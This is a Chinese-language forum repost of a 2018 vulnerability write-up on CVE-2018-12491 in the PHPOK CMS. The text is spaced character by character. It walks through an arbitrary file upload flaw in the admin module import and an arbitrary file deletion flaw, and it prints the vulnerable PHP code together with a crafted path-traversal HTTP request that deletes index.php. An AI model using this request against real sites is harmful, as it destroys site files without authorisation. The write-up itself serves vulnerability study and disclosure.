搜索

[19390] 2018-08-16_CVE-2018-12491复现过程与分析

文档创建者：s7ckTeam
浏览次数：27
最后更新：2025-01-18
2018-08-16_CVE-2018-12491复现过程与分析 C V E - 2 0 1 8 - 1 2 4 9 1   复 现 过 程 与 分 析 i 春 秋   2 0 1 8 - 0 8 - 1 6 作 者 ： F 0 r m a t i 春 秋 社 区 前 言 前 言 一 放 暑 假 就 特 别 多 事 情 ， 很 多 事 情 都 耽 误 了 ， 废 话 不 多 说 。 P H P O K 企 业 站 系 统 （ 下 述 称 “ 系 统 ” 或 “ 本 系 统 ” ） 是 一 套 使 用 P H P 语 言 及 M y S Q L 数 据 库 编 写 的 企 业 网 站 建 设 系 统 ， 基 于 L G P L 协 议 开 源 授 权 ！ 环 境 搭 建 环 境 搭 建 1 . 程 序 下 载 ： h t t p s : / / w w w . l a n z o u s . c o m / i 1 k s j k d 2 . 集 成 环 境 是 P H P s t u d y , P H P 5 . 6 。 3 . 安 装 程 序
4 . 先 创 建 一 个 数 据 库 p h p o k
5 . 设 置 管 理 员 账 号 密 码
6 . 安 装 成 功 任 意 文 件 上 传 漏 洞 任 意 文 件 上 传 漏 洞 漏 洞 复 现 漏 洞 复 现 1 . 登 录 后 台 ， 点 击 模 块 管 理 2 . 新 建 一 个 测 试 文 件 然 后 压 缩
3 . 然 后 导 入 模 块 可 以 看 到 已 经 上 传 到 了 / d a t a / c a c h e / 的 目 录 下 面 了 ： 4 . 访 问 文 件 漏 洞 分 析 漏 洞 分 析 漏 洞 代 码 在 f r a m e w o r k / a d m i n / m o d u l e c _ c o n t r o l . p h p   6 4 2 行 。 大 家 可 以 详 细 的 分 析 这 个 流 程 ， 主 要 漏 洞 的 代 码 是 ： $ t h i s - > l i b ( ' p h p z i p ' ) - > u n z i p ( $ t h i s - > d i r _ r o o t . $ z i p f i l e , $ t h i s - > d i r _ r o o t . ' d a t a / c a c h e / ' ) ; 没 有 做 任 何 的 过 滤 ， 直 接 把 z i p 原 样 解 压 缩 到 / d a t a / c a c h e / 的 目 录 下 面 。
/ * *                   *   模 块 导 入                   *   @ 变 量   z i p f i l e   指 定 的 Z I P 文 件 地 址                 * * /                 p u b l i c   f u n c t i o n   i m p o r t _ f ( )                 {                                             $ z i p f i l e   =   $ t h i s - > g e t ( ' z i p f i l e ' ) ;     i f ( ! $ z i p f i l e ) {                                                 $ t h i s - > l i b ( ' f o r m ' ) - > c s s j s ( a r r a y ( ' f o r m _ t y p e ' = > ' u p l o a d ' ) ) ;                                     $ t h i s - > a d d j s ( ' j s / w e b u p l o a d e r / a d m i n . u p l o a d . j s ' ) ;     $ t h i s - > v i e w ( ' m o d u l e _ i m p o r t ' ) ;                                 }                                 i f ( s t r p o s ( $ z i p f i l e , ' . . ' )   ! = =   f a l s e ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' 不 支 持 带 . . 上 级 路 径 ' ) ) ;                                 }                                 i f ( ! f i l e _ e x i s t s ( $ t h i s - > d i r _ r o o t . $ z i p f i l e ) ) {                         $ t h i s - > e r r o r ( P _ L a n g ( ' Z I P 文 件 不 存 在 ' ) ) ;                                   }                                   $ t h i s - > l i b ( ' p h p z i p ' ) - > u n z i p ( $ t h i s - > d i r _ r o o t . $ z i p f i l e , $ t h i s - > d i r _ r o o t . ' d a t a / c a c h e / ' ) ;                                 i f ( ! f i l e _ e x i s t s ( $ t h i s - > d i r _ r o o t . ' d a t a / c a c h e / m o d u l e . x m l ' ) ) {                     $ t h i s - > e r r o r ( P _ L a n g ( ' 导 入 模 块 失 败 ， 请 检 查 解 压 缩 是 否 成 功 ' ) ) ;                                 }                                 $ r s   =   $ i n f o   =   $ t h i s - > l i b ( ' x m l ' ) - > r e a d ( $ t h i s - > d i r _ r o o t . ' d a t a / c a c h e / m o d u l e . x m l ' , t r u e ) ;                                 i f ( ! $ r s ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' X M L 内 容 解 析 异 常 ' ) ) ;                                 }                                 $ t m p   =   $ r s ;                               i f ( i s s e t ( $ t m p [ ' _ f i e l d s ' ] ) ) {                                                 u n s e t ( $ t m p [ ' _ f i e l d s ' ] ) ;                                 }                                 $ i n s e r t _ i d   =   $ t h i s - > m o d e l ( ' m o d u l e ' ) - > s a v e ( $ t m p ) ;                                 i f ( ! $ i n s e r t _ i d ) {                                               $ t h i s - > e r r o r ( P _ L a n g ( ' 模 块 导 入 失 败 ， 保 存 模 块 基 本 信 息 错 误 ' ) ) ;                                 }                                 $ t h i s - > m o d e l ( ' m o d u l e ' ) - > c r e a t e _ t b l ( $ i n s e r t _ i d ) ;     $ t b l _ e x i s t s = $ t h i s - > m o d e l ( ' m o d u l e ' ) - > c h k _ t b l _ e x i s t s ( $ i n s e r t _ i d , $ t m p [ ' m t y p e ' ] ) ;                                 i f ( ! $ t b l _ e x i s t s ) {                                                 $ t h i s - > m o d e l ( ' m o d u l e ' ) - > d e l e t e ( $ i n s e r t _ i d ) ;                 $ t h i s - > e r r o r ( P _ L a n g ( ' 创 建 模 块 表 失 败 ' ) ) ;                                 }                                 i f ( i s s e t ( $ r s [ ' _ f i e l d s ' ] )   & &   $ r s [ ' _ f i e l d s ' ] ) {                             f o r e a c h ( $ r s [ ' _ f i e l d s ' ]   a s   $ k e y = > $ v a l u e ) {                                                                 i f ( $ v a l u e [ ' e x t ' ]   & &   i s _ a r r a y ( $ v a l u e [ ' e x t ' ] ) ) {                           $ v a l u e [ ' e x t ' ]   =   s e r i a l i z e ( $ v a l u e [ ' e x t ' ] ) ;                                                                 }                                                               $ v a l u e [ ' m o d u l e _ i d ' ]   =   $ i n s e r t _ i d ;                                             $ t h i s - > m o d e l ( ' m o d u l e ' ) - > f i e l d s _ s a v e ( $ v a l u e ) ;                             $ t h i s - > m o d e l ( ' m o d u l e ' ) - > c r e a t e _ f i e l d s ( $ v a l u e [ ' i d ' ] ) ;                                                 }                                 }                                 $ t h i s - > l i b ( ' f i l e ' ) - > r m ( $ t h i s > d i r _ c a c h e . ' m o d u l e . x m l ' ) ;                                 $ t h i s - > l i b ( ' f i l e ' ) - > r m ( $ t h i s - > d i r _ r o o t . $ z i p f i l e ) ;             $ t h i s - > s u c c e s s ( ) ;                 } } 任 意 文 件 删 除 任 意 文 件 删 除 漏 洞 复 现 漏 洞 复 现 1 . 在 设 置 - > 风 格 管 理 2 . 点 击 文 件 管 理
3 . 随 便 删 除 一 个 文 件 ， 点 击 抓 包 4 . 改 包 发 包 ， 删 除 i n d e x . p h p 文 件 G E T / a d m i n . p h p ? c = t p l & f = d e l f i l e & i d = 1 & f o l d e r = % 2 F & t i t l e = . . / . . / i n d e x . p h p & _ = 1 5 3 3 4 5 3 7 5 6 7 1 5   H T T P / 1 . 1 H o s t : s b . c o m A c c e p t : a p p l i c a t i o n / j s o n , t e x t / j a v a s c r i p t ,   * / * ;   q = 0 . 0 1 X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t r e q u e s t _ t y p e :   a j a x U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 7 . 0 . 3 3 9 6 . 9 9   S a f a r i / 5 3 7 . 3 6 R e f e r e r : h t t p : / / s b . c o m / a d m i n . p h p ? c = t p l & f = l i s t & i d = 1 A c c e p t - E n c o d i n g : g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o o k i e : h d _ s i d = a Z Y 7 Q f ; h d _ a u t h = f 0 c 7 B 2 J X p 7 h h u m O h q e q E L b Z 5 F J A 3 C % 2 F W 2 A K t 4 d i 3 d u Y f 1 l 5 T % 2 B b k C M P F k W u s 2 W r H f U g 2 Z 8 n p 8 o M 4 V y g P G W o l g u ; P H P S E S S I O N = t l c m 8 f q 4 v h i o 5 g k h 5 l 1 f 5 1 5 6 i 3 C o n n e c t i o n :   c l o s e 5 . 文 件 已 删 除 ， 网 站 主 页 不 能 访 问
但 我 在 实 战 测 试 过 程 中 发 现 这 个 漏 洞 由 于 危 害 极 大 ， 基 本 上 都 已 经 被 运 维 打 补 丁 了 ， 因 此 现 在 存 在 这 个 漏 洞 的 站 点 并 不 是 很 多 。 漏 洞 分 析 漏 洞 分 析 漏 洞 文 件 位 置 在 于 f r a m e w o r k / a d m i n / t p l _ c o n t r o l . p h p 的 2 9 7 行 $ f i l e 虽 然 是 由 几 个 参 数 拼 接 而 成 的 ， 但 是 加 上 . . / . . / 就 可 以 回 到 任 何 位 置 ， 造 成 了 任 意 文 件 删 除 的 漏 洞 。 $ f i l e = $ t h i s > d i r _ r o o t . " t p l / " . $ r s [ " f o l d e r " ] . $ f o l d e r . $ t i t l e ; / * *                   *   删 除 文 件 （ 夹 ）                 * * /                 p u b l i c   f u n c t i o n   d e l f i l e _ f ( )                 {                                 i f ( ! $ t h i s - > p o p e d o m [ " f i l e l i s t " ] ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' 您 没 有 权 限 执 行 此 操 作 ' ) ) ;                                 }                                 $ i d   =   $ t h i s - > g e t ( " i d " , " i n t " ) ;                                 i f ( ! $ i d ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' 未 指 定 风 格 I D ' ) ) ;                                 }                                 $ r s   =   $ t h i s - > m o d e l ( ' t p l ' ) - > g e t _ o n e ( $ i d ) ;                             i f ( ! $ r s ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' 风 格 信 息 不 存 在 ' ) ) ;                               }                                 i f ( ! $ r s [ " f o l d e r " ] ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' 未 设 置 风 格 文 件 夹 ' ) ) ;                           }                                 $ f o l d e r   =   $ t h i s - > g e t ( " f o l d e r " ) ;                                 i f ( ! $ f o l d e r ) {                                                 $ f o l d e r   =   " / " ;                                 }                                 $ t i t l e   =   $ t h i s - > g e t ( " t i t l e " ) ;                                 $ f i l e   =   $ t h i s - > d i r _ r o o t . " t p l / " . $ r s [ " f o l d e r " ] . $ f o l d e r . $ t i t l e ;     i f ( ! f i l e _ e x i s t s ( $ f i l e ) ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' 文 件 （ 夹 ） 不 存 在 ' ) ) ;                         }                                 i f ( i s _ d i r ( $ f i l e ) ) {                                                 $ t h i s - > l i b ( ' f i l e ' ) - > r m ( $ f i l e , " f o l d e r " ) ;                                 } e l s e {                                                 $ t h i s - > l i b ( ' f i l e ' ) - > r m ( $ f i l e ) ;                                 }                         $ t h i s - > s u c c e s s ( ) ;                 }
结 束 结 束 虽 然 说 这 个 漏 洞 很 简 单 ， 但 是 这 个 程 序 能 申 请 C V E ， 这 也 提 醒 我 们 无 论 是 什 么 大 程 序 都 会 存 在 很 明 显 的 漏 洞 。 戳 阅 读 原 文 ， 跟 作 者 进 行 深 度 交 流 吧 戳 阅 读 原 文 ， 跟 作 者 进 行 深 度 交 流 吧 ~ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理